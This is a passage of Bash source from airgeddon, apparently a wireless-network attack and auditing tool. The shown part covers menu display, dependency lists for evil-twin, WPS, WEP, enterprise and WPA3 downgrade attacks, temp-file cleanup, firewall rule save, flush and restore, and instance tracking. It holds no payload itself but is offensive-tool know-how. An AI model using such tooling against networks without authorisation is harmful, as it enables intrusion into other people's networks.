#Print selected target parameters on wps attacks menu (bssid, channel and essid) function print_all_target_vars_wps() { debug_print if [ -n "${wps_bssid}" ]; then language_strings "${language}" 335 "blue" else language_strings "${language}" 339 "blue" fi if [ -n "${wps_channel}" ]; then language_strings "${language}" 336 "blue" else language_strings "${language}" 340 "blue" fi if [ -n "${wps_essid}" ]; then if [ "${wps_essid}" = "(Hidden Network)" ]; then language_strings "${language}" 337 "blue" else language_strings "${language}" 338 "blue" fi else language_strings "${language}" 341 "blue" fi if [ -n "${wps_locked}" ]; then language_strings "${language}" 351 "blue" else language_strings "${language}" 352 "blue" fi } #Print selected target parameters on decrypt menu (bssid, Handshake file, dictionary file, rules file and enterprise stuff) function print_decrypt_vars() { debug_print if [ -n "${jtrenterpriseenteredpath}" ]; then language_strings "${language}" 605 "blue" else language_strings "${language}" 606 "blue" fi if [ -n "${hashcatenterpriseenteredpath}" ]; then language_strings "${language}" 603 "blue" else language_strings "${language}" 604 "blue" fi if [ -n "${bssid}" ]; then language_strings "${language}" 43 "blue" else language_strings "${language}" 185 "blue" fi if [ -n "${enteredpath}" ]; then language_strings "${language}" 173 "blue" else language_strings "${language}" 177 "blue" fi if [ -n "${DICTIONARY}" ]; then language_strings "${language}" 182 "blue" fi if [ -n "${RULES}" ]; then language_strings "${language}" 243 "blue" fi if [ -n "${hashcathashfileenteredpath}" ]; then language_strings "${language}" 794 "blue" else language_strings "${language}" 793 "blue" fi } #Print selected target parameters on personal decrypt menu (bssid, Handshake file, dictionary file and rules file) function print_personal_decrypt_vars() { debug_print if [ -n "${bssid}" ]; then language_strings "${language}" 43 "blue" else language_strings "${language}" 185 "blue" fi if [ -n "${enteredpath}" ]; then language_strings "${language}" 173 "blue" else language_strings "${language}" 177 "blue" fi if [ -n "${DICTIONARY}" ]; then language_strings "${language}" 182 "blue" fi if [ -n "${RULES}" ]; then language_strings "${language}" 243 "blue" fi if [ -n "${hashcathashfileenteredpath}" ]; then language_strings "${language}" 794 "blue" else language_strings "${language}" 793 "blue" fi } #Print selected target parameters on enterprise decrypt menu (dictionary file, rules file and hashes files) function print_enterprise_decrypt_vars() { debug_print if [ -n "${jtrenterpriseenteredpath}" ]; then language_strings "${language}" 605 "blue" else language_strings "${language}" 606 "blue" fi if [ -n "${hashcatenterpriseenteredpath}" ]; then language_strings "${language}" 603 "blue" else language_strings "${language}" 604 "blue" fi if [ -n "${DICTIONARY}" ]; then language_strings "${language}" 182 "blue" fi if [ -n "${RULES}" ]; then language_strings "${language}" 243 "blue" fi } #Set the correct text to show if a selected network is enterprise or personal function set_personal_enterprise_text() { debug_print if [ "${enterprise_network_selected}" -eq 1 ]; then selected_network_type_text="enterprise" unselected_network_type_text="personal" elif [ "${personal_network_selected}" -eq 1 ]; then selected_network_type_text="personal" unselected_network_type_text="enterprise" else selected_network_type_text="" unselected_network_type_text="" fi } #Create the dependencies arrays function initialize_menu_options_dependencies() { debug_print clean_handshake_dependencies=("${optional_tools_names[0]}") aircrack_crunch_attacks_dependencies=("${optional_tools_names[1]}") aireplay_attack_dependencies=("${optional_tools_names[2]}") mdk_attack_dependencies=("${optional_tools_names[3]}") hashcat_attacks_dependencies=("${optional_tools_names[4]}") hashcat_hash_attacks_dependencies=("${optional_tools_names[4]}" "${optional_tools_names[30]}") et_onlyap_dependencies=("${optional_tools_names[5]}" "${optional_tools_names[6]}" "${optional_tools_names[7]}") et_sniffing_dependencies=("${optional_tools_names[5]}" "${optional_tools_names[6]}" "${optional_tools_names[7]}" "${optional_tools_names[8]}" "${optional_tools_names[9]}") et_sniffing_sslstrip2_dependencies=("${optional_tools_names[5]}" "${optional_tools_names[6]}" "${optional_tools_names[7]}" "${optional_tools_names[16]}") et_captive_portal_dependencies=("${optional_tools_names[5]}" "${optional_tools_names[6]}" "${optional_tools_names[7]}" "${optional_tools_names[10]}" "${optional_tools_names[11]}") wash_scan_dependencies=("${optional_tools_names[12]}") reaver_attacks_dependencies=("${optional_tools_names[13]}") bully_attacks_dependencies=("${optional_tools_names[14]}") bully_pixie_dust_attack_dependencies=("${optional_tools_names[14]}" "${optional_tools_names[15]}") reaver_pixie_dust_attack_dependencies=("${optional_tools_names[13]}" "${optional_tools_names[15]}") et_sniffing_sslstrip2_beef_dependencies=("${optional_tools_names[5]}" "${optional_tools_names[6]}" "${optional_tools_names[7]}" "${optional_tools_names[16]}" "${optional_tools_names[17]}") wep_attack_allinone_dependencies=("${optional_tools_names[2]}" "${optional_tools_names[18]}") wep_attack_besside_dependencies=("${optional_tools_names[27]}") enterprise_attack_dependencies=("${optional_tools_names[19]}" "${optional_tools_names[20]}" "${optional_tools_names[22]}") enterprise_identities_dependencies=("${optional_tools_names[25]}") enterprise_certificates_analysis_dependencies=("${optional_tools_names[22]}" "${optional_tools_names[25]}") asleap_attacks_dependencies=("${optional_tools_names[20]}") john_attacks_dependencies=("${optional_tools_names[21]}") johncrunch_attacks_dependencies=("${optional_tools_names[21]}" "${optional_tools_names[1]}") enterprise_certificates_dependencies=("${optional_tools_names[22]}") pmkid_dependencies=("${optional_tools_names[23]}" "${optional_tools_names[24]}") wpa3_downgrade_attack_dependencies=("${optional_tools_names[23]}" "${optional_tools_names[28]}" "${optional_tools_names[29]}" "${optional_tools_names[25]}") } #Set possible changes for some commands that can be found in different ways depending on the O.S. #shellcheck disable=SC2206 function set_possible_aliases() { debug_print for item in "${!possible_alias_names[@]}"; do if ! hash "${item}" 2> /dev/null || [[ "${item}" = "beef" ]]; then arraliases=(${possible_alias_names[${item//[[:space:]]/ }]}) for item2 in "${arraliases[@]}"; do if hash "${item2}" 2> /dev/null; then optional_tools_names=(${optional_tools_names[@]/${item}/"${item2}"}) break fi done fi done } #Modify dependencies arrays depending on selected options function dependencies_modifications() { debug_print if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then essential_tools_names=("${essential_tools_names[@]/xterm/tmux}") possible_package_names[${essential_tools_names[5]}]="tmux" unset 'possible_package_names[xterm]' fi if [ "${AIRGEDDON_MDK_VERSION}" = "mdk3" ]; then optional_tools_names=("${optional_tools_names[@]/mdk4/mdk3}") possible_package_names[${optional_tools_names[3]}]="mdk3" unset 'possible_package_names[mdk4]' fi if [ "${iptables_nftables}" -eq 0 ]; then optional_tools_names=("${optional_tools_names[@]/nft/iptables}") possible_package_names[${optional_tools_names[7]}]="iptables" unset 'possible_package_names[nft]' fi } #Initialize optional_tools values function initialize_optional_tools_values() { debug_print declare -gA optional_tools for item in "${optional_tools_names[@]}"; do optional_tools[${item}]=0 done } #Set some vars depending on the menu and invoke the printing of target vars function initialize_menu_and_print_selections() { debug_print forbidden_options=() case ${current_menu} in "main_menu") print_iface_selected ;; "decrypt_menu") print_decrypt_vars ;; "personal_decrypt_menu") print_personal_decrypt_vars ;; "enterprise_decrypt_menu") print_enterprise_decrypt_vars enterprise_asleap_challenge="" enterprise_asleap_response="" ;; "handshake_pmkid_decloaking_tools_menu") print_iface_selected print_all_target_vars return_to_handshake_pmkid_decloaking_tools_menu=0 ;; "dos_attacks_menu") enterprise_mode="" et_mode="" dos_pursuit_mode=0 print_iface_selected print_all_target_dos_attacks_menu_vars ;; "dos_handshake_decloak_menu") print_iface_selected print_all_target_vars ;; "dos_info_gathering_enterprise_menu") print_iface_selected print_all_target_vars ;; "language_menu") print_iface_selected ;; "evil_twin_attacks_menu") return_to_et_main_menu=0 return_to_enterprise_main_menu=0 retry_handshake_capture=0 return_to_et_main_menu_from_beef=0 retrying_handshake_capture=0 internet_interface_selected=0 enterprise_mode="" et_mode="" et_processes=() secondary_wifi_interface="" et_attack_adapter_prerequisites_ok=0 advanced_captive_portal=0 print_iface_selected print_all_target_vars_et ;; "enterprise_attacks_menu") return_to_enterprise_main_menu=0 return_to_et_main_menu=0 enterprise_mode="" et_mode="" et_processes=() secondary_wifi_interface="" et_enterprise_attack_adapter_prerequisites_ok=0 print_iface_selected print_all_target_vars ;; "et_dos_menu") dos_pursuit_mode=0 print_iface_selected if [ -n "${enterprise_mode}" ]; then print_all_target_vars else if [ "${retry_handshake_capture}" -eq 1 ]; then retry_handshake_capture=0 retrying_handshake_capture=1 fi print_et_target_vars print_iface_internet_selected fi ;; "wpa3_dos_menu") print_iface_selected print_all_target_vars ;; "wps_attacks_menu") print_iface_selected print_all_target_vars_wps ;; "offline_pin_generation_menu") print_iface_selected print_all_target_vars_wps ;; "wep_attacks_menu") print_iface_selected print_all_target_vars ;; "beef_pre_menu") et_attack_adapter_prerequisites_ok=0 print_iface_selected print_all_target_vars_et ;; "option_menu") print_options ;; "wpa3_attacks_menu") downgrade_attack_adapter_prerequisites_ok=0 return_to_wpa3_main_menu=0 print_iface_selected print_all_target_vars if [[ " ${plugins_enabled[*]} " == *" wpa3_online_attack "* ]]; then if [ -n "${DICTIONARY}" ]; then language_strings "${language}" 182 "blue" fi fi if [[ " ${plugins_enabled[*]} " == *" wpa3_cookie_guzzler "* ]]; then if [ -n "${secondary_wifi_interface}" ]; then language_strings "${language}" 512 "blue" fi fi ;; *) if ! hookable_for_menus; then print_iface_selected print_all_target_vars fi ;; esac } #Function created intentionally to be hooked from plugins to modify menus easily function hookable_for_menus() { debug_print return 1 } #Clean environment vars function clean_env_vars() { debug_print unset AIRGEDDON_AUTO_UPDATE AIRGEDDON_SKIP_INTRO AIRGEDDON_BASIC_COLORS AIRGEDDON_EXTENDED_COLORS AIRGEDDON_AUTO_CHANGE_LANGUAGE AIRGEDDON_SILENT_CHECKS AIRGEDDON_PRINT_HINTS AIRGEDDON_5GHZ_ENABLED AIRGEDDON_FORCE_IPTABLES AIRGEDDON_FORCE_NETWORK_MANAGER_KILLING AIRGEDDON_MDK_VERSION AIRGEDDON_PLUGINS_ENABLED AIRGEDDON_EVIL_TWIN_ESSID_STRIPPING AIRGEDDON_EVIL_TWIN_SOUNDS AIRGEDDON_DEVELOPMENT_MODE AIRGEDDON_DEBUG_MODE AIRGEDDON_WINDOWS_HANDLING } #Control the status of the routing taking into consideration instances orchestration function control_routing_status() { debug_print local saved_routing_status_found="" local original_routing_status="" local etset="" local agpid="" local et_still_running=0 if [ "${1}" = "start" ]; then readarray -t AIRGEDDON_PIDS 2> /dev/null < <(cat < "${system_tmpdir}${ag_orchestrator_file}" 2> /dev/null) for item in "${AIRGEDDON_PIDS[@]}"; do [[ "${item}" =~ ^(et)?([0-9]+)(rs[0-1])?$ ]] && etset="${BASH_REMATCH[1]}" && agpid="${BASH_REMATCH[2]}" if [ -z "${saved_routing_status_found}" ]; then [[ "${item}" =~ ^(et)?([0-9]+)(rs[0-1])?$ ]] && saved_routing_status_found="${BASH_REMATCH[3]}" fi if [[ "${agpid_to_use}" = "${agpid}" ]] && [[ "${etset}" != "et" ]]; then sed -ri "s:^(${agpid}):et\1:" "${system_tmpdir}${ag_orchestrator_file}" 2> /dev/null fi done if [ -z "${saved_routing_status_found}" ]; then original_routing_status=$(cat /proc/sys/net/ipv4/ip_forward) sed -ri "s:^(et${agpid_to_use})$:\1rs${original_routing_status}:" "${system_tmpdir}${ag_orchestrator_file}" 2> /dev/null fi else readarray -t AIRGEDDON_PIDS 2> /dev/null < <(cat < "${system_tmpdir}${ag_orchestrator_file}" 2> /dev/null) for item in "${AIRGEDDON_PIDS[@]}"; do [[ "${item}" =~ ^(et)?([0-9]+)(rs[0-1])?$ ]] && etset="${BASH_REMATCH[1]}" && agpid="${BASH_REMATCH[2]}" if [ -z "${saved_routing_status_found}" ]; then [[ "${item}" =~ ^(et)?([0-9]+)(rs[0-1])?$ ]] && saved_routing_status_found="${BASH_REMATCH[3]}" fi if [[ "${agpid_to_use}" = "${agpid}" ]] && [[ "${etset}" = "et" ]]; then sed -ri "s:^(et${agpid}):${agpid}:" "${system_tmpdir}${ag_orchestrator_file}" 2> /dev/null fi if [[ "${agpid_to_use}" != "${agpid}" ]] && [[ "${etset}" = "et" ]]; then et_still_running=1 fi done if [[ -n "${saved_routing_status_found}" ]] && [[ "${et_still_running}" -eq 0 ]]; then original_routing_status="${saved_routing_status_found//[^0-9]/}" echo "${original_routing_status}" > /proc/sys/net/ipv4/ip_forward 2> /dev/null fi fi } #Clean temporary files function clean_tmpfiles() { debug_print if [ "${1}" = "exit_script" ]; then rm -rf "${tmpdir}" > /dev/null 2>&1 rm -rf "${scriptfolder}${hostapd_wpe_default_log}" > /dev/null 2>&1 if [ "${dhcpd_path_changed}" -eq 1 ]; then rm -rf "${dhcp_path}" > /dev/null 2>&1 fi if [ "${beef_found}" -eq 1 ]; then rm -rf "${beef_path}${beef_file}" > /dev/null 2>&1 fi if is_last_airgeddon_instance; then delete_instance_orchestrator_file fi else rm -rf "${tmpdir}bl.txt" > /dev/null 2>&1 rm -rf "${tmpdir}target.txt" > /dev/null 2>&1 rm -rf "${tmpdir}handshake"* > /dev/null 2>&1 rm -rf "${tmpdir}identities_certificates"* > /dev/null 2>&1 rm -rf "${tmpdir}decloak"* > /dev/null 2>&1 rm -rf "${tmpdir}pmkid"* > /dev/null 2>&1 rm -rf "${tmpdir}nws"* > /dev/null 2>&1 rm -rf "${tmpdir}clts"* > /dev/null 2>&1 rm -rf "${tmpdir}wnws.txt" > /dev/null 2>&1 rm -rf "${tmpdir}hctmp"* > /dev/null 2>&1 rm -rf "${tmpdir}jtrtmp"* > /dev/null 2>&1 rm -rf "${tmpdir}${aircrack_pot_tmp}" > /dev/null 2>&1 rm -rf "${tmpdir}${et_processesfile}" > /dev/null 2>&1 rm -rf "${tmpdir}${hostapd_mana_file}" > /dev/null 2>&1 rm -rf "${tmpdir}${hostapd_mana_out}" > /dev/null 2>&1 rm -rf "${tmpdir}${hostapd_mana_log}" > /dev/null 2>&1 rm -rf "${tmpdir}${mana_cap_file}" > /dev/null 2>&1 rm -rf "${tmpdir}${mana_tmp_file}" > /dev/null 2>&1 rm -rf "${tmpdir}${hostapd_file}" > /dev/null 2>&1 rm -rf "${tmpdir}${hostapd_wpe_file}" > /dev/null 2>&1 rm -rf "${tmpdir}${hostapd_wpe_log}" > /dev/null 2>&1 rm -rf "${scriptfolder}${hostapd_wpe_default_log}" > /dev/null 2>&1 rm -rf "${tmpdir}${dhcpd_file}" > /dev/null 2>&1 rm -rf "${tmpdir}${dnsmasq_file}" > /dev/null 2>&1 rm -rf "${tmpdir}${control_et_file}" > /dev/null 2>&1 rm -rf "${tmpdir}${control_enterprise_file}" > /dev/null 2>&1 rm -rf "${tmpdir}parsed_file" > /dev/null 2>&1 rm -rf "${tmpdir}${ettercap_file}"* > /dev/null 2>&1 rm -rf "${tmpdir}${bettercap_file}"* > /dev/null 2>&1 rm -rf "${tmpdir}${bettercap_config_file}" > /dev/null 2>&1 rm -rf "${tmpdir}${bettercap_hook_file}" > /dev/null 2>&1 rm -rf "${tmpdir}${beef_file}" > /dev/null 2>&1 rm -rf "${tmpdir}${webserver_file}" > /dev/null 2>&1 rm -rf "${tmpdir}${webserver_log}" > /dev/null 2>&1 rm -rf "${tmpdir}${webdir}" > /dev/null 2>&1 rm -rf "${tmpdir}${certsdir}" > /dev/null 2>&1 rm -rf "${tmpdir}${enterprisedir}" > /dev/null 2>&1 rm -rf "${tmpdir}${asleap_pot_tmp}" > /dev/null 2>&1 rm -rf "${tmpdir}wps"* > /dev/null 2>&1 rm -rf "${tmpdir}${wps_attack_script_file}" > /dev/null 2>&1 rm -rf "${tmpdir}${wps_out_file}" > /dev/null 2>&1 rm -rf "${tmpdir}${wep_attack_file}" > /dev/null 2>&1 rm -rf "${tmpdir}${wep_key_handler}" > /dev/null 2>&1 rm -rf "${tmpdir}${wep_data}"* > /dev/null 2>&1 rm -rf "${tmpdir}${wepdir}" > /dev/null 2>&1 rm -rf "${tmpdir}dos_pm"* > /dev/null 2>&1 rm -rf "${tmpdir}${channelfile}" > /dev/null 2>&1 rm -rf "${tmpdir}${wep_besside_log}" > /dev/null 2>&1 rm -rf "${tmpdir}wep.cap" > /dev/null 2>&1 rm -rf "${tmpdir}wps.cap" > /dev/null 2>&1 rm -rf "${tmpdir}besside.log" > /dev/null 2>&1 rm -rf "${tmpdir}decloak.log" > /dev/null 2>&1 rm -rf "${tmpdir}agwpa3"* > /dev/null 2>&1 rm -rf "${tmpdir}cookie_guzzler"* > /dev/null 2>&1 fi if [ "${dhcpd_path_changed}" -eq 1 ]; then rm -rf "${dhcp_path}" > /dev/null 2>&1 fi if [ "${beef_found}" -eq 1 ]; then rm -rf "${beef_path}${beef_file}" > /dev/null 2>&1 fi } #Manage cleaning firewall rules and restore orginal routing state function clean_routing_rules() { debug_print control_routing_status "end" clean_initialize_iptables_nftables "end" if is_last_airgeddon_instance && [[ -n "${system_tmpdir}${routing_tmp_file}" ]]; then restore_iptables_nftables rm -rf "${system_tmpdir}${routing_tmp_file}" > /dev/null 2>&1 fi } #Save iptables/nftables rules function save_iptables_nftables() { debug_print if [ "${iptables_nftables}" -eq 1 ]; then "${iptables_cmd}" list ruleset > "${system_tmpdir}${routing_tmp_file}" 2> /dev/null else "${iptables_cmd}-save" > "${system_tmpdir}${routing_tmp_file}" 2> /dev/null fi } #Restore iptables/nftables rules function restore_iptables_nftables() { debug_print if [ "${iptables_nftables}" -eq 1 ]; then "${iptables_cmd}" -f "${system_tmpdir}${routing_tmp_file}" 2> /dev/null else "${iptables_cmd}-restore" < "${system_tmpdir}${routing_tmp_file}" 2> /dev/null fi } #Prepare iptables/nftables after a clean to avoid errors function prepare_iptables_nftables() { debug_print clean_this_instance_iptables_nftables if [ "${iptables_nftables}" -eq 1 ]; then "${iptables_cmd}" add table ip filter_"${airgeddon_instance_name}" "${iptables_cmd}" add chain ip filter_"${airgeddon_instance_name}" forward_"${airgeddon_instance_name}" '{type filter hook forward priority 0; policy accept;}' "${iptables_cmd}" add chain ip filter_"${airgeddon_instance_name}" input_"${airgeddon_instance_name}" '{type filter hook input priority 0;}' "${iptables_cmd}" add table ip nat_"${airgeddon_instance_name}" "${iptables_cmd}" add chain ip nat_"${airgeddon_instance_name}" prerouting_"${airgeddon_instance_name}" '{type nat hook prerouting priority -100;}' "${iptables_cmd}" add chain ip nat_"${airgeddon_instance_name}" postrouting_"${airgeddon_instance_name}" '{type nat hook postrouting priority 100;}' else "${iptables_cmd}" -P FORWARD ACCEPT "${iptables_cmd}" -t filter -N input_"${airgeddon_instance_name}" "${iptables_cmd}" -A INPUT -j input_"${airgeddon_instance_name}" "${iptables_cmd}" -t filter -N forward_"${airgeddon_instance_name}" "${iptables_cmd}" -A FORWARD -j forward_"${airgeddon_instance_name}" fi } #Clean only this instance iptables/nftables rules function clean_this_instance_iptables_nftables() { debug_print if [ "${iptables_nftables}" -eq 1 ]; then "${iptables_cmd}" delete table filter_"${airgeddon_instance_name}" 2> /dev/null "${iptables_cmd}" delete table nat_"${airgeddon_instance_name}" 2> /dev/null else "${iptables_cmd}" -D INPUT -j input_"${airgeddon_instance_name}" 2> /dev/null "${iptables_cmd}" -D FORWARD -j forward_"${airgeddon_instance_name}" 2> /dev/null "${iptables_cmd}" -F input_"${airgeddon_instance_name}" 2> /dev/null "${iptables_cmd}" -F forward_"${airgeddon_instance_name}" 2> /dev/null "${iptables_cmd}" -X input_"${airgeddon_instance_name}" 2> /dev/null "${iptables_cmd}" -X forward_"${airgeddon_instance_name}" 2> /dev/null fi } #Clean all iptables/nftables rules function clean_all_iptables_nftables() { debug_print if [ "${iptables_nftables}" -eq 1 ]; then "${iptables_cmd}" flush ruleset 2> /dev/null else "${iptables_cmd}" -F 2> /dev/null "${iptables_cmd}" -t nat -F 2> /dev/null "${iptables_cmd}" -t mangle -F 2> /dev/null "${iptables_cmd}" -t raw -F 2> /dev/null "${iptables_cmd}" -t security -F 2> /dev/null "${iptables_cmd}" -t mangle -X 2> /dev/null "${iptables_cmd}" -t raw -X 2> /dev/null "${iptables_cmd}" -t security -X 2> /dev/null "${iptables_cmd}" -D INPUT -j input_"${airgeddon_instance_name}" 2> /dev/null "${iptables_cmd}" -D FORWARD -j forward_"${airgeddon_instance_name}" 2> /dev/null "${iptables_cmd}" -F input_"${airgeddon_instance_name}" 2> /dev/null "${iptables_cmd}" -F forward_"${airgeddon_instance_name}" 2> /dev/null "${iptables_cmd}" -X input_"${airgeddon_instance_name}" 2> /dev/null "${iptables_cmd}" -X forward_"${airgeddon_instance_name}" 2> /dev/null "${iptables_cmd}" -X 2> /dev/null "${iptables_cmd}" -t nat -X 2> /dev/null fi } #Contains the logic to decide what iptables/nftables rules to clean function clean_initialize_iptables_nftables() { debug_print if [ "${1}" = "start" ]; then if [[ "${clean_all_iptables_nftables}" -eq 1 ]] && is_first_routing_modifier_airgeddon_instance; then clean_all_iptables_nftables fi prepare_iptables_nftables else if is_last_airgeddon_instance; then clean_all_iptables_nftables else clean_this_instance_iptables_nftables fi fi } #Create an array from parameters function store_array() { debug_print local values=("${@:3}") for i in "${!values[@]}"; do eval "${1}[\$2|${i}]=\${values[i]}" done } #Check if something (first parameter) is inside an array (second parameter) contains_element() { debug_print local e for e in "${@:2}"; do [[ "${e}" = "${1}" ]] && return 0 done return 1 } #Print hints from the different hint pools depending on the menu function print_hint() { debug_print declare -A hints case "${current_menu}" in "main_menu") store_array hints main_hints "${main_hints[@]}" hintlength=${#main_hints[@]} ((hintlength--)) randomhint=$(shuf -i 0-"${hintlength}" -n 1) strtoprint=${hints[main_hints|${randomhint}]} ;; "dos_attacks_menu") store_array hints dos_hints "${dos_hints[@]}" hintlength=${#dos_hints[@]} ((hintlength--)) randomhint=$(shuf -i 0-"${hintlength}" -n 1) strtoprint=${hints[dos_hints|${randomhint}]} ;; "handshake_pmkid_decloaking_tools_menu") store_array hints handshake_pmkid_decloaking_hints "${handshake_pmkid_decloaking_hints[@]}" hintlength=${#handshake_pmkid_decloaking_hints[@]} ((hintlength--)) randomhint=$(shuf -i 0-"${hintlength}" -n 1) strtoprint=${hints[handshake_pmkid_decloaking_hints|${randomhint}]} ;; "dos_handshake_decloak_menu") store_array hints dos_handshake_decloak_hints "${dos_handshake_decloak_hints[@]}" hintlength=${#dos_handshake_decloak_hints[@]} ((hintlength--)) randomhint=$(shuf -i 0-"${hintlength}" -n 1) strtoprint=${hints[dos_handshake_decloak_hints|${randomhint}]} ;; "dos_info_gathering_enterprise_menu") store_array hints dos_info_gathering_enterprise_hints "${dos_info_gathering_enterprise_hints[@]}" hintlength=${#dos_info_gathering_enterprise_hints[@]} ((hintlength--)) randomhint=$(shuf -i 0-"${hintlength}" -n 1) strtoprint=${hints[dos_info_gathering_enterprise_hints|${randomhint}]} ;; "decrypt_menu") store_array hints decrypt_hints "${decrypt_hints[@]}" hintlength=${#decrypt_hints[@]} ((hintlength--)) randomhint=$(shuf -i 0-"${hintlength}" -n 1) strtoprint=${hints[decrypt_hints|${randomhint}]} ;; "personal_decrypt_menu") store_array hints personal_decrypt_hints "${personal_decrypt_hints[@]}" hintlength=${#personal_decrypt_hints[@]} ((hintlength--)) randomhint=$(shuf -i 0-"${hintlength}" -n 1) strtoprint=${hints[personal_decrypt_hints|${randomhint}]} ;; "enterprise_decrypt_menu") store_array hints enterprise_decrypt_hints "${enterprise_decrypt_hints[@]}" hintlength=${#enterprise_decrypt_hints[@]} ((hintlength--)) randomhint=$(shuf -i 0-"${hintlength}" -n 1) strtoprint=${hints[enterprise_decrypt_hints|${randomhint}]} ;; "select_interface_menu") store_array hints select_interface_hints "${select_interface_hints[@]}" hintlength=${#select_interface_hints[@]} ((hintlength--)) randomhint=$(shuf -i 0-"${hintlength}" -n 1) strtoprint=${hints[select_interface_hints|${randomhint}]} ;; "language_menu") store_array hints language_hints "${language_hints[@]}" hintlength=${#language_hints[@]} ((hintlength--)) randomhint=$(shuf -i 0-"${hintlength}" -n 1) strtoprint=${hints[language_hints|${randomhint}]} ;; "option_menu") store_array hints option_hints "${option_hints[@]}" hintlength=${#option_hints[@]} ((hintlength--)) randomhint=$(shuf -i 0-"${hintlength}" -n 1) strtoprint=${hints[option_hints|${randomhint}]} ;; "evil_twin_attacks_menu") store_array hints evil_twin_hints "${evil_twin_hints[@]}" hintlength=${#evil_twin_hints[@]} ((hintlength--)) randomhint=$(shuf -i 0-"${hintlength}" -n 1) strtoprint=${hints[evil_twin_hints|${randomhint}]} ;; "wpa3_dos_menu") store_array hints wpa3_dos_hints "${wpa3_dos_hints[@]}" hintlength=${#wpa3_dos_hints[@]} ((hintlength--)) randomhint=$(shuf -i 0-"${hintlength}" -n 1) strtoprint=${hints[wpa3_dos_hints|${randomhint}]} ;; "et_dos_menu") store_array hints evil_twin_dos_hints "${evil_twin_dos_hints[@]}" hintlength=${#evil_twin_dos_hints[@]} ((hintlength--)) randomhint=$(shuf -i 0-"${hintlength}" -n 1) strtoprint=${hints[evil_twin_dos_hints|${randomhint}]} ;; "wps_attacks_menu"|"offline_pin_generation_menu") store_array hints wps_hints "${wps_hints[@]}" hintlength=${#wps_hints[@]} ((hintlength--)) randomhint=$(shuf -i 0-"${hintlength}" -n 1) strtoprint=${hints[wps_hints|${randomhint}]} ;; "wep_attacks_menu") store_array hints wep_hints "${wep_hints[@]}" hintlength=${#wep_hints[@]} ((hintlength--)) randomhint=$(shuf -i 0-"${hintlength}" -n 1) strtoprint=${hints[wep_hints|${randomhint}]} ;; "beef_pre_menu") store_array hints beef_hints "${beef_hints[@]}" hintlength=${#beef_hints[@]} ((hintlength--)) randomhint=$(shuf -i 0-"${hintlength}" -n 1) strtoprint=${hints[beef_hints|${randomhint}]} ;; "enterprise_attacks_menu") store_array hints enterprise_hints "${enterprise_hints[@]}" hintlength=${#enterprise_hints[@]} ((hintlength--)) randomhint=$(shuf -i 0-"${hintlength}" -n 1) strtoprint=${hints[enterprise_hints|${randomhint}]} ;; "wpa3_attacks_menu") store_array hints wpa3_hints "${wpa3_hints[@]}" hintlength=${#wpa3_hints[@]} ((hintlength--)) randomhint=$(shuf -i 0-"${hintlength}" -n 1) strtoprint=${hints[wpa3_hints|${randomhint}]} ;; esac hookable_for_hints if "${AIRGEDDON_PRINT_HINTS:-true}"; then print_simple_separator language_strings "${language}" "${strtoprint}" "hint" fi print_simple_separator } #Function created empty intentionally to be hooked from plugins to modify hints easily function hookable_for_hints() { debug_print : } #Initialize instances related actions function initialize_instance_settings() { debug_print agpid_to_use="${BASHPID}" instance_setter if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then if hash tmux 2> /dev/null; then local current_tmux_display_name current_tmux_display_name=$(tmux display-message -p '#W') if [ "${current_tmux_display_name}" = "${tmux_main_window}" ]; then create_instance_orchestrator_file register_instance_pid fi fi else create_instance_orchestrator_file register_instance_pid fi } #Detect number of the alive airgeddon instances and set the next one if apply function instance_setter() { debug_print local create_dir=0 if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then if hash tmux 2> /dev/null; then local current_tmux_display_name current_tmux_display_name=$(tmux display-message -p '#W') if [ "${current_tmux_display_name}" = "${tmux_main_window}" ]; then create_dir=1 fi fi else create_dir=1 fi if [ "${create_dir}" -eq 1 ]; then local dir_number="1" airgeddon_instance_name="ag${dir_number}" local airgeddon_instance_dir="${airgeddon_instance_name}/" if [ -d "${system_tmpdir}${airgeddon_instance_dir}" ]; then while true; do dir_number=$((dir_number + 1)) airgeddon_instance_name="ag${dir_number}" airgeddon_instance_dir="${airgeddon_instance_name}/" if [ ! -d "${system_tmpdir}${airgeddon_instance_dir}" ]; then break fi done fi tmpdir="${system_tmpdir}${airgeddon_instance_dir}" mkdir -p "${tmpdir}" > /dev/null 2>&1 fi } #Create orchestrator file if needed function create_instance_orchestrator_file() { debug_print if [ ! -f "${system_tmpdir}${ag_orchestrator_file}" ]; then touch "${system_tmpdir}${ag_orchestrator_file}" > /dev/null 2>&1 else local airgeddon_pid_alive=0 local agpid="" readarray -t AIRGEDDON_PIDS 2> /dev/null < <(cat < "${system_tmpdir}${ag_orchestrator_file}" 2> /dev/null) for item in "${AIRGEDDON_PIDS[@]}"; do [[ "${item}" =~ ^(et)?([0-9]+)(rs[0-1])?$ ]] && agpid="${BASH_REMATCH[2]}" if ps -p "${agpid}" > /dev/null 2>&1; then airgeddon_pid_alive=1 break fi done if [ "${airgeddon_pid_alive}" -eq 0 ]; then rm -rf "${system_tmpdir}${ag_orchestrator_file}" > /dev/null 2>&1 touch "${system_tmpdir}${ag_orchestrator_file}" > /dev/null 2>&1 fi fi } #Delete orchestrator file if exists function delete_instance_orchestrator_file() { debug_print if [ -f "${system_tmpdir}${ag_orchestrator_file}" ]; then rm -rf "${system_tmpdir}${ag_orchestrator_file}" > /dev/null 2>&1 fi } #Register instance pid into orchestrator file if is not already registered function register_instance_pid() { debug_print if [ -f "${system_tmpdir}${ag_orchestrator_file}" ]; then if ! grep -q "${agpid_to_use}" "${system_tmpdir}${ag_orchestrator_file}"; then { echo "${agpid_to_use}" } >> "${system_tmpdir}${ag_orchestrator_file}" fi fi } #Detect and return the number of airgeddon running instances function detect_running_instances() { debug_print airgeddon_running_instances_counter=1 readarray -t AIRGEDDON_PIDS 2> /dev/null < <(cat < "${system_tmpdir}${ag_orchestrator_file}" 2> /dev/null) for item in "${AIRGEDDON_PIDS[@]}"; do [[ "${item}" =~ ^(et)?([0-9]+)(rs[0-1])?$ ]] && agpid="${BASH_REMATCH[2]}" if [[ "${agpid}" != "${BASHPID}" ]] && ps -p "${agpid}" > /dev/null 2>&1; then airgeddon_running_instances_counter=$((airgeddon_running_instances_counter + 1)) fi done return "${airgeddon_running_instances_counter}" } #Check if this instance is the first one modifying routing state function is_first_routing_modifier_airgeddon_instance() { debug_print local agpid="" readarray -t AIRGEDDON_PIDS 2> /dev/null < <(cat <"${system_tmpdir}${ag_orchestrator_file}" 2> /dev/null) for item in "${AIRGEDDON_PIDS[@]}"; do [[ "${item}" =~ 